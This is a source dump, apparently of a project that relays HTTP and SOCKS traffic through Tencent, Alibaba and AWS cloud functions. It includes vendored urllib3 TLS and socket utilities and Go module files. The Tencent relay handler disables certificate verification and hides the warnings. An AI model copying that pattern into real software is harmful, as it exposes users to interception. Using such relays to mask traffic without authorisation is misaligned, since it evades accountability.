_dnsname_match(dn, hostname, max_wildcards=1): 26 | """Matching according to RFC 6125, section 6.4.3 27 | 28 | http://tools.ietf.org/html/rfc6125#section-6.4.3 29 | """ 30 | pats = [] 31 | if not dn: 32 | return False 33 | 34 | # Ported from python3-syntax: 35 | # leftmost, *remainder = dn.split(r'.') 36 | parts = dn.split(r".") 37 | leftmost = parts[0] 38 | remainder = parts[1:] 39 | 40 | wildcards = leftmost.count("*") 41 | if wildcards > max_wildcards: 42 | # Issue #17980: avoid denials of service by refusing more 43 | # than one wildcard per fragment. A survey of established 44 | # policy among SSL implementations showed it to be a 45 | # reasonable choice. 46 | raise CertificateError( 47 | "too many wildcards in certificate DNS name: " + repr(dn) 48 | ) 49 | 50 | # speed up common case w/o wildcards 51 | if not wildcards: 52 | return dn.lower() == hostname.lower() 53 | 54 | # RFC 6125, section 6.4.3, subitem 1. 55 | # The client SHOULD NOT attempt to match a presented identifier in which 56 | # the wildcard character comprises a label other than the left-most label. 57 | if leftmost == "*": 58 | # When '*' is a fragment by itself, it matches a non-empty dotless 59 | # fragment. 60 | pats.append("[^.]+") 61 | elif leftmost.startswith("xn--") or hostname.startswith("xn--"): 62 | # RFC 6125, section 6.4.3, subitem 3. 63 | # The client SHOULD NOT attempt to match a presented identifier 64 | # where the wildcard character is embedded within an A-label or 65 | # U-label of an internationalized domain name. 66 | pats.append(re.escape(leftmost)) 67 | else: 68 | # Otherwise, '*' matches any dotless string, e.g. www* 69 | pats.append(re.escape(leftmost).replace(r"\*", "[^.]*")) 70 | 71 | # add the remaining fragments, ignore any wildcards 72 | for frag in remainder: 73 | pats.append(re.escape(frag)) 74 | 75 | pat = re.compile(r"\A" + r"\.".join(pats) + r"\Z", re.IGNORECASE) 76 | return pat.match(hostname) 77 | 78 | 79 | def _to_unicode(obj): 80 | if isinstance(obj, str) and sys.version_info < (3,): 81 | # ignored flake8 # F821 to support python 2.7 function 82 | obj = unicode(obj, encoding="ascii", errors="strict") # noqa: F821 83 | return obj 84 | 85 | 86 | def _ipaddress_match(ipname, host_ip): 87 | """Exact matching of IP addresses. 88 | 89 | RFC 6125 explicitly doesn't define an algorithm for this 90 | (section 1.7.2 - "Out of Scope"). 91 | """ 92 | # OpenSSL may add a trailing newline to a subjectAltName's IP address 93 | # Divergence from upstream: ipaddress can't handle byte str 94 | ip = ipaddress.ip_address(_to_unicode(ipname).rstrip()) 95 | return ip == host_ip 96 | 97 | 98 | def match_hostname(cert, hostname): 99 | """Verify that *cert* (in decoded format as returned by 100 | SSLSocket.getpeercert()) matches the *hostname*. RFC 2818 and RFC 6125 101 | rules are followed, but IP addresses are not accepted for *hostname*. 102 | 103 | CertificateError is raised on failure. On success, the function 104 | returns nothing. 105 | """ 106 | if not cert: 107 | raise ValueError( 108 | "empty or no certificate, match_hostname needs a " 109 | "SSL socket or SSL context with either " 110 | "CERT_OPTIONAL or CERT_REQUIRED" 111 | ) 112 | try: 113 | # Divergence from upstream: ipaddress can't handle byte str 114 | host_ip = ipaddress.ip_address(_to_unicode(hostname)) 115 | except (UnicodeError, ValueError): 116 | # ValueError: Not an IP address (common case) 117 | # UnicodeError: Divergence from upstream: Have to deal with ipaddress not taking 118 | # byte strings. addresses should be all ascii, so we consider it not 119 | # an ipaddress in this case 120 | host_ip = None 121 | except AttributeError: 122 | # Divergence from upstream: Make ipaddress library optional 123 | if ipaddress is None: 124 | host_ip = None 125 | else: # Defensive 126 | raise 127 | dnsnames = [] 128 | san = cert.get("subjectAltName", ()) 129 | for key, value in san: 130 | if key == "DNS": 131 | if host_ip is None and _dnsname_match(value, hostname): 132 | return 133 | dnsnames.append(value) 134 | elif key == "IP Address": 135 | if host_ip is not None and _ipaddress_match(value, host_ip): 136 | return 137 | dnsnames.append(value) 138 | if not dnsnames: 139 | # The subject is only checked when there is no dNSName entry 140 | # in subjectAltName 141 | for sub in cert.get("subject", ()): 142 | for key, value in sub: 143 | # XXX according to RFC 2818, the most specific Common Name 144 | # must be used. 145 | if key == "commonName": 146 | if _dnsname_match(value, hostname): 147 | return 148 | dnsnames.append(value) 149 | if len(dnsnames) > 1: 150 | raise CertificateError( 151 | "hostname %r " 152 | "doesn't match either of %s" % (hostname, ", ".join(map(repr, dnsnames))) 153 | ) 154 | elif len(dnsnames) == 1: 155 | raise CertificateError("hostname %r doesn't match %r" % (hostname, dnsnames[0])) 156 | else: 157 | raise CertificateError( 158 | "no appropriate commonName or subjectAltName fields were found" 159 | ) 160 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/ssltransport.py: -------------------------------------------------------------------------------- 1 | import io 2 | import socket 3 | import ssl 4 | 5 | from ..exceptions import ProxySchemeUnsupported 6 | from ..packages import six 7 | 8 | SSL_BLOCKSIZE = 16384 9 | 10 | 11 | class SSLTransport: 12 | """ 13 | The SSLTransport wraps an existing socket and establishes an SSL connection. 14 | 15 | Contrary to Python's implementation of SSLSocket, it allows you to chain 16 | multiple TLS connections together. It's particularly useful if you need to 17 | implement TLS within TLS. 18 | 19 | The class supports most of the socket API operations. 20 | """ 21 | 22 | @staticmethod 23 | def _validate_ssl_context_for_tls_in_tls(ssl_context): 24 | """ 25 | Raises a ProxySchemeUnsupported if the provided ssl_context can't be used 26 | for TLS in TLS. 27 | 28 | The only requirement is that the ssl_context provides the 'wrap_bio' 29 | methods. 30 | """ 31 | 32 | if not hasattr(ssl_context, "wrap_bio"): 33 | if six.PY2: 34 | raise ProxySchemeUnsupported( 35 | "TLS in TLS requires SSLContext.wrap_bio() which isn't " 36 | "supported on Python 2" 37 | ) 38 | else: 39 | raise ProxySchemeUnsupported( 40 | "TLS in TLS requires SSLContext.wrap_bio() which isn't " 41 | "available on non-native SSLContext" 42 | ) 43 | 44 | def __init__( 45 | self, socket, ssl_context, server_hostname=None, suppress_ragged_eofs=True 46 | ): 47 | """ 48 | Create an SSLTransport around socket using the provided ssl_context. 49 | """ 50 | self.incoming = ssl.MemoryBIO() 51 | self.outgoing = ssl.MemoryBIO() 52 | 53 | self.suppress_ragged_eofs = suppress_ragged_eofs 54 | self.socket = socket 55 | 56 | self.sslobj = ssl_context.wrap_bio( 57 | self.incoming, self.outgoing, server_hostname=server_hostname 58 | ) 59 | 60 | # Perform initial handshake. 61 | self._ssl_io_loop(self.sslobj.do_handshake) 62 | 63 | def __enter__(self): 64 | return self 65 | 66 | def __exit__(self, *_): 67 | self.close() 68 | 69 | def fileno(self): 70 | return self.socket.fileno() 71 | 72 | def read(self, len=1024, buffer=None): 73 | return self._wrap_ssl_read(len, buffer) 74 | 75 | def recv(self, len=1024, flags=0): 76 | if flags != 0: 77 | raise ValueError("non-zero flags not allowed in calls to recv") 78 | return self._wrap_ssl_read(len) 79 | 80 | def recv_into(self, buffer, nbytes=None, flags=0): 81 | if flags != 0: 82 | raise ValueError("non-zero flags not allowed in calls to recv_into") 83 | if buffer and (nbytes is None): 84 | nbytes = len(buffer) 85 | elif nbytes is None: 86 | nbytes = 1024 87 | return self.read(nbytes, buffer) 88 | 89 | def sendall(self, data, flags=0): 90 | if flags != 0: 91 | raise ValueError("non-zero flags not allowed in calls to sendall") 92 | count = 0 93 | with memoryview(data) as view, view.cast("B") as byte_view: 94 | amount = len(byte_view) 95 | while count < amount: 96 | v = self.send(byte_view[count:]) 97 | count += v 98 | 99 | def send(self, data, flags=0): 100 | if flags != 0: 101 | raise ValueError("non-zero flags not allowed in calls to send") 102 | response = self._ssl_io_loop(self.sslobj.write, data) 103 | return response 104 | 105 | def makefile( 106 | self, mode="r", buffering=None, encoding=None, errors=None, newline=None 107 | ): 108 | """ 109 | Python's httpclient uses makefile and buffered io when reading HTTP 110 | messages and we need to support it. 111 | 112 | This is unfortunately a copy and paste of socket.py makefile with small 113 | changes to point to the socket directly. 114 | """ 115 | if not set(mode) <= {"r", "w", "b"}: 116 | raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) 117 | 118 | writing = "w" in mode 119 | reading = "r" in mode or not writing 120 | assert reading or writing 121 | binary = "b" in mode 122 | rawmode = "" 123 | if reading: 124 | rawmode += "r" 125 | if writing: 126 | rawmode += "w" 127 | raw = socket.SocketIO(self, rawmode) 128 | self.socket._io_refs += 1 129 | if buffering is None: 130 | buffering = -1 131 | if buffering < 0: 132 | buffering = io.DEFAULT_BUFFER_SIZE 133 | if buffering == 0: 134 | if not binary: 135 | raise ValueError("unbuffered streams must be binary") 136 | return raw 137 | if reading and writing: 138 | buffer = io.BufferedRWPair(raw, raw, buffering) 139 | elif reading: 140 | buffer = io.BufferedReader(raw, buffering) 141 | else: 142 | assert writing 143 | buffer = io.BufferedWriter(raw, buffering) 144 | if binary: 145 | return buffer 146 | text = io.TextIOWrapper(buffer, encoding, errors, newline) 147 | text.mode = mode 148 | return text 149 | 150 | def unwrap(self): 151 | self._ssl_io_loop(self.sslobj.unwrap) 152 | 153 | def close(self): 154 | self.socket.close() 155 | 156 | def getpeercert(self, binary_form=False): 157 | return self.sslobj.getpeercert(binary_form) 158 | 159 | def version(self): 160 | return self.sslobj.version() 161 | 162 | def cipher(self): 163 | return self.sslobj.cipher() 164 | 165 | def selected_alpn_protocol(self): 166 | return self.sslobj.selected_alpn_protocol() 167 | 168 | def selected_npn_protocol(self): 169 | return self.sslobj.selected_npn_protocol() 170 | 171 | def shared_ciphers(self): 172 | return self.sslobj.shared_ciphers() 173 | 174 | def compression(self): 175 | return self.sslobj.compression() 176 | 177 | def settimeout(self, value): 178 | self.socket.settimeout(value) 179 | 180 | def gettimeout(self): 181 | return self.socket.gettimeout() 182 | 183 | def _decref_socketios(self): 184 | self.socket._decref_socketios() 185 | 186 | def _wrap_ssl_read(self, len, buffer=None): 187 | try: 188 | return self._ssl_io_loop(self.sslobj.read, len, buffer) 189 | except ssl.SSLError as e: 190 | if e.errno == ssl.SSL_ERROR_EOF and self.suppress_ragged_eofs: 191 | return 0 # eof, return 0. 192 | else: 193 | raise 194 | 195 | def _ssl_io_loop(self, func, *args): 196 | """Performs an I/O loop between incoming/outgoing and the socket.""" 197 | should_loop = True 198 | ret = None 199 | 200 | while should_loop: 201 | errno = None 202 | try: 203 | ret = func(*args) 204 | except ssl.SSLError as e: 205 | if e.errno not in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): 206 | # WANT_READ, and WANT_WRITE are expected, others are not. 207 | raise e 208 | errno = e.errno 209 | 210 | buf = self.outgoing.read() 211 | self.socket.sendall(buf) 212 | 213 | if errno is None: 214 | should_loop = False 215 | elif errno == ssl.SSL_ERROR_WANT_READ: 216 | buf = self.socket.recv(SSL_BLOCKSIZE) 217 | if buf: 218 | self.incoming.write(buf) 219 | else: 220 | self.incoming.write_eof() 221 | return ret 222 | -------------------------------------------------------------------------------- /function/http/package/urllib3/util/wait.py: -------------------------------------------------------------------------------- 1 | import errno 2 | import select 3 | import sys 4 | from functools import partial 5 | 6 | try: 7 | from time import monotonic 8 | except ImportError: 9 | from time import time as monotonic 10 | 11 | __all__ = ["NoWayToWaitForSocketError", "wait_for_read", "wait_for_write"] 12 | 13 | 14 | class NoWayToWaitForSocketError(Exception): 15 | pass 16 | 17 | 18 | # How should we wait on sockets? 19 | # 20 | # There are two types of APIs you can use for waiting on sockets: the fancy 21 | # modern stateful APIs like epoll/kqueue, and the older stateless APIs like 22 | # select/poll. The stateful APIs are more efficient when you have a lots of 23 | # sockets to keep track of, because you can set them up once and then use them 24 | # lots of times. But we only ever want to wait on a single socket at a time 25 | # and don't want to keep track of state, so the stateless APIs are actually 26 | # more efficient. So we want to use select() or poll(). 27 | # 28 | # Now, how do we choose between select() and poll()? On traditional Unixes, 29 | # select() has a strange calling convention that makes it slow, or fail 30 | # altogether, for high-numbered file descriptors. The point of poll() is to fix 31 | # that, so on Unixes, we prefer poll(). 32 | # 33 | # On Windows, there is no poll() (or at least Python doesn't provide a wrapper 34 | # for it), but that's OK, because on Windows, select() doesn't have this 35 | # strange calling convention; plain select() works fine. 36 | # 37 | # So: on Windows we use select(), and everywhere else we use poll(). We also 38 | # fall back to select() in case poll() is somehow broken or missing. 39 | 40 | if sys.version_info >= (3, 5): 41 | # Modern Python, that retries syscalls by default 42 | def _retry_on_intr(fn, timeout): 43 | return fn(timeout) 44 | 45 | else: 46 | # Old and broken Pythons. 47 | def _retry_on_intr(fn, timeout): 48 | if timeout is None: 49 | deadline = float("inf") 50 | else: 51 | deadline = monotonic() + timeout 52 | 53 | while True: 54 | try: 55 | return fn(timeout) 56 | # OSError for 3 <= pyver < 3.5, select.error for pyver <= 2.7 57 | except (OSError, select.error) as e: 58 | # 'e.args[0]' incantation works for both OSError and select.error 59 | if e.args[0] != errno.EINTR: 60 | raise 61 | else: 62 | timeout = deadline - monotonic() 63 | if timeout < 0: 64 | timeout = 0 65 | if timeout == float("inf"): 66 | timeout = None 67 | continue 68 | 69 | 70 | def select_wait_for_socket(sock, read=False, write=False, timeout=None): 71 | if not read and not write: 72 | raise RuntimeError("must specify at least one of read=True, write=True") 73 | rcheck = [] 74 | wcheck = [] 75 | if read: 76 | rcheck.append(sock) 77 | if write: 78 | wcheck.append(sock) 79 | # When doing a non-blocking connect, most systems signal success by 80 | # marking the socket writable. Windows, though, signals success by marked 81 | # it as "exceptional". We paper over the difference by checking the write 82 | # sockets for both conditions. (The stdlib selectors module does the same 83 | # thing.) 84 | fn = partial(select.select, rcheck, wcheck, wcheck) 85 | rready, wready, xready = _retry_on_intr(fn, timeout) 86 | return bool(rready or wready or xready) 87 | 88 | 89 | def poll_wait_for_socket(sock, read=False, write=False, timeout=None): 90 | if not read and not write: 91 | raise RuntimeError("must specify at least one of read=True, write=True") 92 | mask = 0 93 | if read: 94 | mask |= select.POLLIN 95 | if write: 96 | mask |= select.POLLOUT 97 | poll_obj = select.poll() 98 | poll_obj.register(sock, mask) 99 | 100 | # For some reason, poll() takes timeout in milliseconds 101 | def do_poll(t): 102 | if t is not None: 103 | t *= 1000 104 | return poll_obj.poll(t) 105 | 106 | return bool(_retry_on_intr(do_poll, timeout)) 107 | 108 | 109 | def null_wait_for_socket(*args, **kwargs): 110 | raise NoWayToWaitForSocketError("no select-equivalent available") 111 | 112 | 113 | def _have_working_poll(): 114 | # Apparently some systems have a select.poll that fails as soon as you try 115 | # to use it, either due to strange configuration or broken monkeypatching 116 | # from libraries like eventlet/greenlet. 117 | try: 118 | poll_obj = select.poll() 119 | _retry_on_intr(poll_obj.poll, 0) 120 | except (AttributeError, OSError): 121 | return False 122 | else: 123 | return True 124 | 125 | 126 | def wait_for_socket(*args, **kwargs): 127 | # We delay choosing which implementation to use until the first time we're 128 | # called. We could do it at import time, but then we might make the wrong 129 | # decision if someone goes wild with monkeypatching select.poll after 130 | # we're imported. 131 | global wait_for_socket 132 | if _have_working_poll(): 133 | wait_for_socket = poll_wait_for_socket 134 | elif hasattr(select, "select"): 135 | wait_for_socket = select_wait_for_socket 136 | else: # Platform-specific: Appengine. 137 | wait_for_socket = null_wait_for_socket 138 | return wait_for_socket(*args, **kwargs) 139 | 140 | 141 | def wait_for_read(sock, timeout=None): 142 | """Waits for reading to be available on a given socket. 143 | Returns True if the socket is readable, or False if the timeout expired. 144 | """ 145 | return wait_for_socket(sock, read=True, timeout=timeout) 146 | 147 | 148 | def wait_for_write(sock, timeout=None): 149 | """Waits for writing to be available on a given socket. 150 | Returns True if the socket is readable, or False if the timeout expired. 151 | """ 152 | return wait_for_socket(sock, write=True, timeout=timeout) 153 | -------------------------------------------------------------------------------- /function/http/tencent.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf8 -*- 2 | import json 3 | from base64 import b64decode, b64encode 4 | 5 | import urllib3 6 | urllib3.disable_warnings() 7 | 8 | 9 | def handler(event: dict, context: dict): 10 | data = event["body"] 11 | kwargs = json.loads(data) 12 | kwargs['body'] = b64decode(kwargs['body']) 13 | 14 | http = urllib3.PoolManager(cert_reqs="CERT_NONE") 15 | # Prohibit automatic redirect to avoid network errors such as connection reset 16 | r = http.request(**kwargs, retries=False, decode_content=False) 17 | 18 | headers = {k.lower(): v.lower() for k, v in r.headers.items()} 19 | 20 | response = { 21 | "headers": headers, 22 | "status_code": r.status, 23 | "content": b64encode(r._body).decode('utf-8') 24 | } 25 | 26 | return { 27 | "isBase64Encoded": False, 28 | "statusCode": 200, 29 | "headers": {}, 30 | "body": json.dumps(response) 31 | } -------------------------------------------------------------------------------- /function/socks/alibaba: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/socks/alibaba -------------------------------------------------------------------------------- /function/socks/aws: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/SCFProxy/cdfc9024cc73d93be6444338932b610b0bd77a04/function/socks/aws -------------------------------------------------------------------------------- /function/socks/pkg/alibaba/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/aliyun/fc-runtime-go-sdk/fc" 5 | 6 | "socks/server" 7 | ) 8 | 9 | func main() { 10 | fc.Start(server.Handle) 11 | } 12 | -------------------------------------------------------------------------------- /function/socks/pkg/aws/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/aws/aws-lambda-go/lambda" 5 | 6 | "socks/server" 7 | ) 8 | 9 | func main() { 10 | lambda.Start(server.Handle) 11 | } 12 | -------------------------------------------------------------------------------- /function/socks/pkg/go.mod: -------------------------------------------------------------------------------- 1 | module socks 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/aliyun/fc-runtime-go-sdk v0.2.7 7 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 8 | github.com/aws/aws-lambda-go v1.36.1 9 | github.com/hashicorp/yamux v0.1.1 10 | github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6 11 | ) 12 | 13 | require golang.org/x/net v0.2.0 // indirect 14 | -------------------------------------------------------------------------------- /function/socks/pkg/go.sum: -------------------------------------------------------------------------------- 1 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= 4 | github.com/HdrHistogram/hdrhistogram-go v1.1.2/go.mod h1:yDgFjdqOqDEKOvasDdhWNXYg9BVp4O+o5f6V/ehm6Oo= 5 | github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= 6 | github.com/aliyun/fc-runtime-go-sdk v0.2.7 h1:TzQA6XqejQDA411Vf9YcmUM3EWWbC4xl7nIKQSpqx8M= 7 | github.com/aliyun/fc-runtime-go-sdk v0.2.7/go.mod h1:VI001M+h9Ka4s6Luk53F17hd65RJ9qD5t7Gbeq9ISYU= 8 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= 9 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= 10 | github.com/aws/aws-lambda-go v1.36.1 h1:CJxGkL9uKszIASRDxzcOcLX6juzTLoTKtCIgUGcTjTU= 11 | github.com/aws/aws-lambda-go v1.36.1/go.mod h1:jwFe2KmMsHmffA1X2R09hH6lFzJQxzI8qK17ewzbQMM= 12 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 13 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 14 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 15 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 16 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 17 | github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= 18 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= 19 | github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= 20 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 21 | github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= 22 | github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= 23 | github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= 24 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 25 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 26 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 27 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= 28 | github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= 29 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 30 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 31 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 32 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 33 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 34 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 35 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 36 | github.com/stretchr/testify v1.7.2 h1:4jaiDzPyXQvSd7D0EjG45355tLlV3VOECpq10pLC+8s= 37 | github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6 h1:5owXVztD4wNP6bhJzA5UNQyYsIKk5YWbA2EJnnMD/sg= 38 | github.com/tencentyun/scf-go-lib v0.0.0-20211123032342-f972dcd16ff6/go.mod h1:K3DbqPpP2WE/9MWokWWzgFZcbgtMb9Wd5CYk9AAbEN8= 39 | github.com/uber/jaeger-client-go v2.30.0+incompatible/go.mod h1:WVhlPFC8FDjOFMMWRy2pZqQJSXxYSwNYOkTr/Z6d3Kk= 40 | github.com/uber/jaeger-lib v2.4.1+incompatible/go.mod h1:ComeNDZlWwrWnDv8aPp0Ba6+uUTzImX/AauajbLI56U= 41 | github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= 42 | go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= 43 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 44 | golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 45 | golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 46 | golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 47 | golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 48 | golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 49 | golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= 50 | golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= 51 | golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= 52 | golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= 53 | golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= 54 | golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= 55 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 56 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 57 | golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= 58 | golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= 59 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 60 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 61 | golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 62 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 63 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 64 | golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 65 | golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 66 | golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 67 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 68 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 69 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 70 | gonum.org/v1/gonum v0.0.0-20180816165407-929014505bf4/go.mod h1:Y+Yx5eoAFn32cQvJDxZx5Dpnq+c3wtXuadVZAcxbbBo= 71 | gonum.org/v1/gonum v0.8.2/go.mod h1:oe/vMfY3deqTw+1EZJhuvEW2iwGF1bW9wwu7XCu0+v0= 72 | gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw= 73 | gonum.org/v1/plot v0.0.0-20190515093506-e2840ee46a6b/go.mod h1:Wt8AAjI+ypCyYX3nZBvf6cAIx93T+c/OS2HFAYskSZc= 74 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 75 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod 